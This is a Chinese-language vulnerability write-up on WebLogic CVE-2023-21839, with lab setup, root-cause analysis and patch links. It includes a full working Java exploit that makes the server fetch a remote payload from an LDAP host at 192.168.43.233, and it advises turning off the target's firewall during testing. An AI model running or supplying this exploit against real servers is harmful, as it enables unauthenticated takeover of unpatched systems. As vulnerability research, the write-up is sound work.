Weblogic远程代码执行漏洞(CVE-2023-21839)原理分析
2023-05-05 10:16:00

0x00、前言

这里主要补一下weblogic远程代码执行漏洞(CVE-2023-21931)的同类分支漏洞点编号CVE-2023-21839,主要补触发分析过程。

0x01、漏洞描述

Oracle WebLogic Server中存在远程代码执行漏洞,该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管或敏感信息泄露。

0x02、漏洞范围

Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

0x03、环境搭建

这里同weblogic远程代码执行漏洞(CVE-2023-21931)一个环境

直接拉取的vulhub上4ra1n师傅的环境:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

下载进CVE-2023-21839目录下执行

docker-compose up -d

docker启动

成功访问到即可

将源码从docker中拖出来放进idea就可以审计了
相关命令:

【】表示填选项
进入镜像环境
docker exec -it 【进程序号】 /bin/bash
复制镜像文件到主机上
docker cp 【进程序号】:/【目录】 /【主机目录】

0x04、漏洞复现

poc:

public class CVE_2023_21839 {
public static void main(String args[]) throws Exception {
//设置客户端通过t3通信服务器的上下文配置
String url = "t3://192.168.43.20:7001";
String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
InitialContext ic=new InitialContext(env);

//设置服务器端后反序列化的上下文配置jndiEnvironment和remoteJNDIName地址
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference obj=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(obj,env2);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(obj,"ldap://192.168.43.233:9998/#EvilPayload3");
ic.rebind("payload",obj);
ic.lookup("payload");}
}

执行命令创建文件成功

测试过程中如果遇到目标服务器无法访问或者payload发送不成功,关闭weblogic服务器防火墙
linux命令

//安装ufw
apt-get install ufw
//关闭防火墙
sudo ufw disable
//开启防火墙
sudo ufw enable

0x05、原理分析

在weblogic远程代码执行漏洞(CVE-2023-21931)分析的时候提到的漏洞触发点在WLNamingManager#getObjectInstance方法,当obj对象为LinkRef时,会获取LinkRef对象远程地址并实现jndi注入

前面的传输过程跟CVE-2023-21931分析时大体一致,主要补充下编号CVE-2023-21839的漏洞触发点位置分析,CVE-2023-21839触发点为同类WLNamingManager#getObjectInstance方法,当传入的obj对象属于OpaqueReference类时,会调用该对象的getReferent方法

其中存在一个类ForeignOpaqueReference,该类实现了OpaqueReference


该方法实现了jndi调用,同时需要给remoteJNDINamejndiEnvironment两个变量进行赋值,remoteJNDIName为远程调用地址,jndiEnvironment为上下文配置环境,配置包括加载的工厂地址类即可


因此实现方法需要反射赋值remoteJNDINamejndiEnvironment两个变量,然后调用ForeignOpaqueReferencegetReferent方法即可触发漏洞,t3协议传输后面会调用WLNamingManager#getObjectInstance方法,因此同CVE-2023-21931一样,当客户端调用lookup调用weblogic服务器,查询对象为ForeignOpaqueReference对象即可触发漏洞

构造poc步骤:
先创建需要lookup查询的ForeignOpaqueReference对象,

weblogic.deployment.jms.ForeignOpaqueReference obj=new weblogic.deployment.jms.ForeignOpaqueReference();

再通过反射修改obj对象的remoteJNDINamejndiEnvironment两个变量值

//设置服务器端后反序列化的上下文配置jndiEnvironment和remoteJNDIName地址
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(obj,env2);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(obj,"ldap://192.168.43.233:9998/#EvilPayload3");

最后添加上下文进行lookup查询weblogic服务器

//设置客户端通过t3通信服务器的上下文配置
String url = "t3://192.168.43.20:7001";
String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
InitialContext ic=new InitialContext(env);

//绑定上下文对象
ic.rebind("payload",obj);
//查询对象
ic.lookup("payload");}

即可触发漏洞

0x06、漏洞修复

官方补丁
https://www.oracle.com/security-alerts/cpuapr2023.html

0x07、参考链接

https://www.oracle.com/security-alerts/cpujan2023.html
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
https://nox.qianxin.com/article/503